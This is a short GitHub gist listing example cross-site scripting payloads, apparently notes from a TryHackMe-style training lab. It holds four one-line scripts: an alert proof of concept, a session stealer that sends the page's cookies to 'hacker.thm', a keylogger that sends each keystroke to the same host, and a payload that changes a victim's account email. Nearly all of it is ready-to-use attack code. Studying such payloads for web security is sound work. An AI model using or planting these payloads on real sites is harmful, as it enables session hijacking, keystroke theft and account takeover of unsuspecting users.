Skip to content

Instantly share code, notes, and snippets.

@Take-A-Breath

Take-A-Breath/XSS Gist

Last active October 28, 2021 16:23
Show Gist options

  • Select an option

    Learn more about clone URLs
  • Save Take-A-Breath/e3245ba7f16ce34a38ee54cae7ea3e71 to your computer and use it in GitHub Desktop.

Select an option

Learn more about clone URLs
Save Take-A-Breath/e3245ba7f16ce34a38ee54cae7ea3e71 to your computer and use it in GitHub Desktop.
Download ZIP
Example XSS payloads
Raw
XSS Gist
POC:
<script>alert('XSS');</script>
Session stealing:
<script>fetch('https://hacker.thm/steal?cookie=' + btoa(document.cookie));</script>
Key Logger:
<script>document.onkeypress = function(e) { fetch('https://hacker.thm/log?key=' + btoa(e.key) );}</script>
Business Logic:
<script>user.changeEmail('[email protected]');</script>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment